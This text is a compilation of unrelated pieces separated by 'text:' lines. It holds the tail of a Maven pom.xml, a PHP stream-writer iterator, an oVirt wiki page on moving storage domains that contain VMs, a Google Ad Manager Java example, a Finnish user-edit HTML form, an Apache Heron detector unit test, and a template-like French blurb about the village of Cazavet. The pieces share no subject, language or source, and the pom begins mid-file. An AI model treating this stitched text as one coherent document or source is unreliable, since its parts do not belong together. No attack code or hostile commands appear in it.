            <artifactId>nonterminals</artifactId>
            <version>1.0-SNAPSHOT</version>
        </dependency>

        <dependency>
            <groupId>org.cavebeetle.blueprint</groupId>
            <artifactId>terminals</artifactId>
            <version>1.0-SNAPSHOT</version>
        </dependency>

        <dependency>
            <groupId>org.codehaus.plexus</groupId>
            <artifactId>plexus-utils</artifactId>
            <version>3.0.8</version>
        </dependency>

        <dependency>
            <groupId>org.simpleframework</groupId>
            <artifactId>simple-xml</artifactId>
            <version>2.7.1</version>
        </dependency>

        <!-- Scope 'test' -->
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.8.2</version>
            <scope>test</scope>
        </dependency>

    </dependencies>

    <build>

        <plugins>

            <plugin>

                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-plugin-plugin</artifactId>
                <version>3.2</version>

                <configuration>
                    <goalPrefix>blueprint</goalPrefix>
                    <skipErrorNoDescriptorsFound>true</skipErrorNoDescriptorsFound>
                </configuration>

                <executions>

                    <execution>
                        <id>mojo-descriptor</id>
                        <goals>
                            <goal>descriptor</goal>
                        </goals>
                    </execution>

                    <execution>
                        <id>help-goal</id>
                        <goals>
                            <goal>helpmojo</goal>
                        </goals>
                    </execution>

                </executions>

            </plugin>

        </plugins>

    </build>

</project>


text:
<?php
namespace qio\File\Writer {
    use qio;
    use kfiltr;

    class Iterator extends qio\Stream\Wrapper\Iterator {
        use kfiltr\Filter, kfiltr\Hook;

        /**
         * Data to write to stream
         * @var array
         */
        protected $input;

        /**
         * Default constructor for writer iterator
         * @param qio\Stream\Wrapper $wrapper
         * @param mixed $input
         * @param array|\Traversable $filters
         */
        public function __construct(qio\Stream\Wrapper $wrapper = null, $input = null, $filters = []) {
            parent::__construct($wrapper,$filters);
            $this->setInput($input);
        }

        /**
         * Retrieve writer input
         * @return mixed
         */
        public function getInput() {
            return $this->input;
        }

        /**
         * Update writer input
         * @param mixed $input
         */
        public function setInput($input) {
            if(!is_array($input) && !($input instanceof \Traversable)) {
                $input = [$input];
            }

            $this->input = $input;
        }

        /**
         * Write next item to stream
         * @return mixed
         */
        public function current() {
            $result = null;
            if(isset($this->input[$this->position])) {
                $result = $this->translate($this->input[$this->position]);
                $this->wrapper->write($result);
            }

            return $result;
        }

        /**
         * Checks if input is available to write at current position
         * @return boolean
         */
        public function valid() {
            $stream = $this->wrapper->getStream();
            if($stream->isWrite()) {
                if(is_array($this->input)) {
                    if($this->position < count($this->input)) {
                        return true;
                    }
                }
            }

            return false;
        }
    }
}


text:
title: ImportUnregisteredEntities
authors: mlipchuk
wiki_title: Features/ImportUnregisteredEntities
wiki_revision_count: 42
wiki_last_updated: 2014-10-14
feature_name: Detach/Attach Storage Domain with entities
feature_modules: engine
feature_status: Released
---

# Import Unregistered Entities

## Detach/Attach Storage Domain with entities

### Summary

Today the operation of moving entities, such as VMs or Templates, from one Data Center to another Data Center in the same setup must be done through a mediator called Export Storage Domain.
This migration of those entities is being done by two copy operations, one is done to the mediator (Export Storage Domain) and another copy is from the Export Storage Domain to the target Storage Domain.
Needless to say those operations requires allocation of free space in the Export Storage domain, and takes a long time to be accomplished.
There is a requirement to add the ability of migrating entities from one Data Center to another without the use of a mediator, and by that, save the heavy operation of the copy operation.
Today we can detach a Storage Domain from the DC, only if it is empty, i.e. does not contain any disks or VMs/Templates
The new feature should add the ability for the user to detach a Storage Domain containing VMs/Templates and Disks, and re-attach it again to another Data Center.
Each Data Storage Domain is an entity which contains disks and sometime VM's and Template's OVF.
The OVF is an XML standard representing the VM/Template configuration, including disks, memory, CPU and more.
Based on this information stored in the Storage Domain, we can relate the disks, VMs and Templates to any Data Center which we will relate the Storage Domain to.

### Owner

*   Maor Lipchuk
*   Email <mlipchuk@redhat.com>

### Current status

*   implementation

### General Functionality

*   On detach of Storage Domain the VMs/Templates related to the Storage Domain should be deleted from the engine, but their data will be converted to an XML data which will be preserved in a DB table called unregistered_ovf_of_entities, and will still be part of the OVF disk contained in the Storage Domain.
*   On attach the user will be able to choose the VMs/Templates/Disks he/she desires to register in the Data Center, and will choose which Cluster and quota for each Vm/Template it will be assigned with.
*   After a successful registration of a VM/Template, the entity should be removed from the entities candidates to be registered.
*   The VM's snapshots and VM's disks (active/deactivate) should be preserved on attach, the same as they were when those entities were on the detached Storage Domain.
*   Regarding quota enforcement Data Centers, the user will choose for each disk the quota he/she will want to consume from, when it will choose a VM/Template to register in the setup.

### Restrictions

*   Detach/Attach Storage Domain, containing entities, should not be restricted by any Data Center version.
     VMs and Templates can be moved from old/new Data Center to another with no limitation, except the cluster which the user choose for each VM/Template.
*   Detach will not be permitted if there are VMs/Templates which are delete protected. In case there are entities as so, there should be an appropriate message which should indicate those entities names.
*   Detach will also not be permitted if there are VMs which are in PREVIEW mode. In case there are entities as so, there should be an appropriate message which should indicate those entities names.
*   Detach will not be permitted if there are VMs which are part of pools, In case there are entities as so, there should be an appropriate message which should indicate those entities names.
*   a Storage Domain can not be detached if it contains disks which are related to a running VM, unless this disks is inactive.
*   Shareable and Direct lun disks are not supported in the OVF file today (See [1])
*   The VMs and Templates which are candidates to be registered, must exists in the Storage Domain OVF contained in the unregistered_ovf_of_entities table. (see [2])
*   All the Storage Domains of the VMs/Templates disks must be active in the target Data Center when the user register the entity.(see [3])
*   If a VM will be thin provisioned from a Template. Then the register process will not allow to register the VM without the Template will be registered first.
*   A Template with disk on multiple storage domain will be registered as one copy of the disk related to the source Storage Domain.(see [4])
*   Currently floating disks will be registered using the existing REST command of import unregistered disk.(see [5])
*   Permissions on VMs and Templates will not be preserved on detach, since they are not part of the OVF. (https://bugzilla.redhat.com/1138177)
*   Local Storage Domain is not supported for detach/attach, the reason for that is that on the detach the Local Storage Domain is being deleted from the Host.

#### Implementation gaps

*   [1] If a VM includes a shareable or direct lun disks, a warning will be prompted to the user, indicating the following

       Attention, The following VMs contains shareable/direct lun disks which will not be part of the VM configuration after the detach will take place: {vmNames}. (https://bugzilla.redhat.com/1138133)

*   [2]: There is a gap that VMs/Templates with no disks do not exist in the Storage Domain's OVF, therefore those VMs will not be present in the setup on attach operation. (https://bugzilla.redhat.com/1138134)
*   [3]: There should be an option to register a VM even if the Storage Domain is not exists in the Data Center, in this case the VM will be registered with only part of the disks.

The user will be able to attach the missing Storage Domain at a later phase but he will be able to register those disks to the existing VM only if this VM didn't changed from it's last import (to preserve the snapshot tree of the VM and its images) (https://bugzilla.redhat.com/1133300)

*   [4] Currently, copied disk is not supported in the OVF file, after we will insert this data in the OVF, registration of template should automatically add the copied disk to the Template (https://bugzilla.redhat.com/1138136)

#### RFEs

*   There should be an extra button in the GUI which will import all those floating disks. Currently those disks will not have an alias, this should be fixed once the alias will be saved in the description meta data. (https://bugzilla.redhat.com/1138139)
*   We should add a button to delete any unregistered entity we don't desire to register to the setup (https://bugzilla.redhat.com/1138142)
*   We should be able to "clone" a VM when the user Tries to register an existing VM from a different Storage Domain.
     "Clone" means that only the VM name will be changed (there will not be any copy operations).
     So we should support a use case of a VM which had 2 disks on different Storage Domains, and it will be registered once from one Storage Domain and after that it will be registered from another Storage Domain, so in the setup there will be two VMs, each with one disk. (https://bugzilla.redhat.com/1108904)

### Work flow for detach and attach Storage Domain with entities - UI flow

Video Example: <iframe width="300" src="//youtube.com/embed/DLcxDB0MY38" frameborder="0" align="right" allowfullscreen="true"> </iframe> 1. Choose an active Storage Domain from an active Data Center, make sure this Storage Domain contains VMs/Templates with disks hosted in the specific Storage Domain
2. Move the Storage Domain to maintenance, and detach it from the Data Center - At this point all the entities related to the Storage Domain should be deleted from the setup
3. Attach the Storage Domain to another Data Center and activate it.
4. After the Storage Domain is activated, go to the Storage main tab and pick the Storage Domain which was activated a minute ago
5. In the same Storage main tab, the user should see two sub tabs, "Import VMs" and "Import Tempaltes", in the "Import VMs" sub tab, the user should see all the VMs which are candidates to be imported, and in the "Import Tempaltes" sub tab, there should be the same only for templates.
6. The user can pick several VMs (or Templates), and press on the "import" button.
7. When the "Import" button is pressed, a dialog should be opened, showing the list of all the entities the user chose to register.
 The user should choose a cluster for each entity which should be compatible for it.
 The user can also watch the entity properties (such as disks, networks) in the sub tab inside the dialog.

#### Import VM/Template sub-tabs

![](import_vm_template_subtab.png "import_vm_template_subtab.png")

#### Import VM/Template Dialog

![](import_vm_template_dialog.png "import_vm_template_dialog.png")

### REST

#### Get list of unregistered VM/Template

The use can get a list of all the unregistered VMs or unregistered Templates by adding the prefix ";unregistered" after the vms/Templates, in the Storage Domain.
For example to get all the unregistered VMs in the Storage Domain 68ca2f73-9b15-4839-83c9-859244ad2cd3 the URL will be : <http://localhost:8080/api/storagedomains/68ca2f73-9b15-4839-83c9-859244ad2cd3/vms;unregistered> ![](UnregisterVM2.png "fig:UnregisterVM2.png")

#### Register VM to a new cluster

If the user want to register a VM to the setup, then the URL should indicate register after the VM id, as follow: <http://localhost:8080/api/storagedomains/xxxxxxx-xxxx-xxxx-xxxxxx/vms/xxxxxxx-xxxx-xxxx-xxxxxx/register> ![](UnregisterVM1.png "fig:UnregisterVM1.png")


text:
// Copyright 2015 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package admanager.axis.v202211.proposallineitemservice;

import static com.google.api.ads.common.lib.utils.Builder.DEFAULT_CONFIGURATION_FILENAME;

import com.beust.jcommander.Parameter;
import com.google.api.ads.admanager.axis.factory.AdManagerServices;
import com.google.api.ads.admanager.axis.utils.v202211.StatementBuilder;
import com.google.api.ads.admanager.axis.v202211.ApiError;
import com.google.api.ads.admanager.axis.v202211.ApiException;
import com.google.api.ads.admanager.axis.v202211.ProposalLineItem;
import com.google.api.ads.admanager.axis.v202211.ProposalLineItemPage;
import com.google.api.ads.admanager.axis.v202211.ProposalLineItemServiceInterface;
import com.google.api.ads.admanager.lib.client.AdManagerSession;
import com.google.api.ads.admanager.lib.utils.examples.ArgumentNames;
import com.google.api.ads.common.lib.auth.OfflineCredentials;
import com.google.api.ads.common.lib.auth.OfflineCredentials.Api;
import com.google.api.ads.common.lib.conf.ConfigurationLoadException;
import com.google.api.ads.common.lib.exception.OAuthException;
import com.google.api.ads.common.lib.exception.ValidationException;
import com.google.api.ads.common.lib.utils.examples.CodeSampleParams;
import com.google.api.client.auth.oauth2.Credential;
import com.google.common.collect.Iterables;
import java.rmi.RemoteException;
import java.util.Arrays;

/**
 * This example updates a proposal line item's notes. To determine which proposal line items exist,
 * run GetAllProposalLineItems.java.
 *
 * <p>Credentials and properties in {@code fromFile()} are pulled from the "ads.properties" file.
 * See README for more info.
 */
public class UpdateProposalLineItems {

  private static class UpdateProposalLineItemsParams extends CodeSampleParams {
    @Parameter(
        names = ArgumentNames.PROPOSAL_LINE_ITEM_ID,
        required = true,
        description = "The ID of the proposal line item to update.")
    private Long proposalLineItemId;
  }

  /**
   * Runs the example.
   *
   * @param adManagerServices the services factory.
   * @param session the session.
   * @param proposalLineItemId the ID of the proposal line item to update.
   * @throws ApiException if the API request failed with one or more service errors.
   * @throws RemoteException if the API request failed due to other errors.
   */
  public static void runExample(
      AdManagerServices adManagerServices, AdManagerSession session, long proposalLineItemId)
      throws RemoteException {
    // Get the ProposalLineItemService.
    ProposalLineItemServiceInterface proposalLineItemService =
        adManagerServices.get(session, ProposalLineItemServiceInterface.class);

    // Create a statement to select a proposal line item.
    StatementBuilder statementBuilder =
        new StatementBuilder()
            .where("WHERE id = :id")
            .orderBy("id ASC")
            .limit(StatementBuilder.SUGGESTED_PAGE_LIMIT)
            .withBindVariableValue("id", proposalLineItemId);

    // Get the proposal line item.
    ProposalLineItemPage page =
        proposalLineItemService.getProposalLineItemsByStatement(statementBuilder.toStatement());

    ProposalLineItem proposalLineItem = Iterables.getOnlyElement(Arrays.asList(page.getResults()));

    // Update the proposal line item's note field.
    proposalLineItem.setInternalNotes("Proposal line item ready for submission.");

    // Update the proposal line item on the server.
    ProposalLineItem[] proposalLineItems =
        proposalLineItemService.updateProposalLineItems(new ProposalLineItem[] {proposalLineItem});

    for (ProposalLineItem updatedProposalLineItem : proposalLineItems) {
      System.out.printf(
          "Proposal line item with ID %d and name '%s' was updated.%n",
          updatedProposalLineItem.getId(), updatedProposalLineItem.getName());
    }
  }

  public static void main(String[] args) {
    AdManagerSession session;
    try {
      // Generate a refreshable OAuth2 credential.
      Credential oAuth2Credential =
          new OfflineCredentials.Builder()
              .forApi(Api.AD_MANAGER)
              .fromFile()
              .build()
              .generateCredential();

      // Construct a AdManagerSession.
      session =
          new AdManagerSession.Builder().fromFile().withOAuth2Credential(oAuth2Credential).build();
    } catch (ConfigurationLoadException cle) {
      System.err.printf(
          "Failed to load configuration from the %s file. Exception: %s%n",
          DEFAULT_CONFIGURATION_FILENAME, cle);
      return;
    } catch (ValidationException ve) {
      System.err.printf(
          "Invalid configuration in the %s file. Exception: %s%n",
          DEFAULT_CONFIGURATION_FILENAME, ve);
      return;
    } catch (OAuthException oe) {
      System.err.printf(
          "Failed to create OAuth credentials. Check OAuth settings in the %s file. "
              + "Exception: %s%n",
          DEFAULT_CONFIGURATION_FILENAME, oe);
      return;
    }

    AdManagerServices adManagerServices = new AdManagerServices();

    UpdateProposalLineItemsParams params = new UpdateProposalLineItemsParams();
    if (!params.parseArguments(args)) {
      // Either pass the required parameters for this example on the command line, or insert them
      // into the code here. See the parameter class definition above for descriptions.
      params.proposalLineItemId = Long.parseLong("INSERT_PROPOSAL_LINE_ITEM_ID_HERE");
    }

    try {
      runExample(adManagerServices, session, params.proposalLineItemId);
    } catch (ApiException apiException) {
      // ApiException is the base class for most exceptions thrown by an API request. Instances
      // of this exception have a message and a collection of ApiErrors that indicate the
      // type and underlying cause of the exception. Every exception object in the admanager.axis
      // packages will return a meaningful value from toString
      //
      // ApiException extends RemoteException, so this catch block must appear before the
      // catch block for RemoteException.
      System.err.println("Request failed due to ApiException. Underlying ApiErrors:");
      if (apiException.getErrors() != null) {
        int i = 0;
        for (ApiError apiError : apiException.getErrors()) {
          System.err.printf("  Error %d: %s%n", i++, apiError);
        }
      }
    } catch (RemoteException re) {
      System.err.printf("Request failed unexpectedly due to RemoteException: %s%n", re);
    }
  }
}


text:
<!DOCTYPE HTML>

        <title>Karttagalleria</title>
        <meta charset="UTF-8"/>
        <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
        <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet"/>
        <link th:href="@{/css/main.css}" rel="stylesheet"/>

Muokkaa käyttäjää

            <form class="form-horizontal" action="#" th:action="@{/account/edit/{accountId}(accountId=${account.id})}" th:object="${account}" method="POST">

                    Käyttäjätunnus:

                        <input type="text" class="form-control" id="username" th:field="*{username}"></input>
                        Username error

                    Salasana:

                        <input type="password" class="form-control" id="password" th:field="*{password}"></input>
                        Password error

                    Rooli:

                        <select class="form-control" th:field="*{role}">
                            <option th:each="role : ${roles}"
                                    th:value="${role.id}"
                                    th:text="${role.name}">
                            </option>
                        </select>
                        Role error

                        <button type="submit" class="btn btn-success">Tallenna</button>
                        Peruuta

            </form>


text:
package org.apache.heron.healthmgr.detectors;

import java.time.Instant;
import java.util.ArrayList;
import java.util.Collection;

import com.microsoft.dhalion.core.Measurement;
import com.microsoft.dhalion.core.MeasurementsTable;
import com.microsoft.dhalion.core.Symptom;
import com.microsoft.dhalion.core.SymptomsTable;
import com.microsoft.dhalion.policy.PoliciesExecutor;

import org.junit.Test;

import org.apache.heron.healthmgr.HealthPolicyConfig;

import static org.apache.heron.healthmgr.detectors.ProcessingRateSkewDetector.CONF_SKEW_RATIO;
import static org.apache.heron.healthmgr.sensors.BaseSensor.MetricName.METRIC_EXE_COUNT;
import static org.junit.Assert.assertEquals;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;

public class ProcessingRateSkewDetectorTest {

  @Test
  public void testGetMaxMin() {
    HealthPolicyConfig config = mock(HealthPolicyConfig.class);
    when(config.getConfig(CONF_SKEW_RATIO, 1.5)).thenReturn(2.5);

    Measurement measurement1 = new Measurement(
        "bolt", "i1", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 1000);
    Measurement measurement2 = new Measurement(
        "bolt", "i1", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892122), 3000);
    Measurement measurement3 = new Measurement(
        "bolt", "i2", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 200.0);
    Measurement measurement4 = new Measurement(
        "bolt", "i2", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 400.0);

    Collection<Measurement> metrics = new ArrayList<>();
    metrics.add(measurement1);
    metrics.add(measurement2);
    metrics.add(measurement3);
    metrics.add(measurement4);

    MeasurementsTable metricsTable = MeasurementsTable.of(metrics);

    ProcessingRateSkewDetector detector = new ProcessingRateSkewDetector(config);

    assertEquals(2000, (int) detector.getMaxOfAverage(metricsTable));
    assertEquals(300, (int) detector.getMinOfAverage(metricsTable));

  }

  @Test
  public void testConfigAndFilter() {
    HealthPolicyConfig config = mock(HealthPolicyConfig.class);
    when(config.getConfig(CONF_SKEW_RATIO, 1.5)).thenReturn(2.5);

    Measurement measurement1 = new Measurement(
        "bolt", "i1", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 1000);
    Measurement measurement2 = new Measurement(
        "bolt", "i2", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 200.0);

    Collection<Measurement> metrics = new ArrayList<>();
    metrics.add(measurement1);
    metrics.add(measurement2);

    ProcessingRateSkewDetector detector = new ProcessingRateSkewDetector(config);
    PoliciesExecutor.ExecutionContext context = mock(PoliciesExecutor.ExecutionContext.class);
    when(context.checkpoint()).thenReturn(Instant.now());
    detector.initialize(context);

    Collection<Symptom> symptoms = detector.detect(metrics);

    assertEquals(3, symptoms.size());
    SymptomsTable symptomsTable = SymptomsTable.of(symptoms);
    assertEquals(1, symptomsTable.type("POSITIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).size());
    assertEquals(1, symptomsTable.type("NEGATIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).size());
    assertEquals(1, symptomsTable.type("POSITIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).assignment("i1").size());
    assertEquals(1, symptomsTable.type("NEGATIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).assignment("i2").size());

    measurement1 = new Measurement(
        "bolt", "i1", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 1000);
    measurement2 = new Measurement(
        "bolt", "i2", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 500.0);

    metrics = new ArrayList<>();
    metrics.add(measurement1);
    metrics.add(measurement2);

    detector = new ProcessingRateSkewDetector(config);
    detector.initialize(context);
    symptoms = detector.detect(metrics);

    assertEquals(0, symptoms.size());
  }

  @Test
  public void testReturnsMultipleComponents() {
    HealthPolicyConfig config = mock(HealthPolicyConfig.class);
    when(config.getConfig(CONF_SKEW_RATIO, 1.5)).thenReturn(2.5);

    Measurement measurement1 = new Measurement(
        "bolt", "i1", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 1000);
    Measurement measurement2 = new Measurement(
        "bolt", "i2", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 200.0);

    Measurement measurement3 = new Measurement(
        "bolt2", "i3", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 1000);
    Measurement measurement4 = new Measurement(
        "bolt2", "i4", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 200.0);

    Measurement measurement5 = new Measurement(
        "bolt3", "i5", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 1000);
    Measurement measurement6 = new Measurement(
        "bolt3", "i6", METRIC_EXE_COUNT.text(), Instant.ofEpochSecond(1497892222), 500.0);

    Collection<Measurement> metrics = new ArrayList<>();
    metrics.add(measurement1);
    metrics.add(measurement2);
    metrics.add(measurement3);
    metrics.add(measurement4);
    metrics.add(measurement5);
    metrics.add(measurement6);

    ProcessingRateSkewDetector detector = new ProcessingRateSkewDetector(config);
    PoliciesExecutor.ExecutionContext context = mock(PoliciesExecutor.ExecutionContext.class);
    when(context.checkpoint()).thenReturn(Instant.now());
    detector.initialize(context);

    Collection<Symptom> symptoms = detector.detect(metrics);

    assertEquals(6, symptoms.size());

    SymptomsTable symptomsTable = SymptomsTable.of(symptoms);
    assertEquals(2, symptomsTable.type("POSITIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).size());
    assertEquals(2, symptomsTable.type("NEGATIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).size());
    assertEquals(1, symptomsTable.type("POSITIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).assignment("i1").size());
    assertEquals(1, symptomsTable.type("POSITIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).assignment("i3").size());
    assertEquals(1, symptomsTable.type("NEGATIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).assignment("i2").size());
    assertEquals(1, symptomsTable.type("NEGATIVE " + BaseDetector.SymptomType
        .SYMPTOM_PROCESSING_RATE_SKEW).assignment("i4").size());

  }
}


text:
  Cazavet est
       un village
       situé dans le département de l'Ariège en Midi-Pyrénées. Elle totalisait 180 habitants en 2008.

À coté de Cazavet sont positionnées géographiquement les villes de
Montégut-en-Couserans située à 4 km, 70 habitants,
Lorp-Sentaraille à 5 km, 1 242 habitants,
Lacave à 5 km, 290 habitants,
Mercenac à 5 km, 312 habitants,
Prat-Bonrepaux située à 3 km, 866 habitants,
Montgauch située à 2 km, 118 habitants,
 entre autres. De plus, Cazavet est située à seulement 25 km de La Trinité.

La ville propose quelques  équipements, elle dispose, entre autres, de une boucle de randonnée.

Le nombre de logements, à Cazavet, était réparti en 2011 en cinq appartements et 132 maisons soit
 un marché plutôt équilibré.

Si vous envisagez de demenager à Cazavet, vous pourrez facilement trouver une maison à vendre.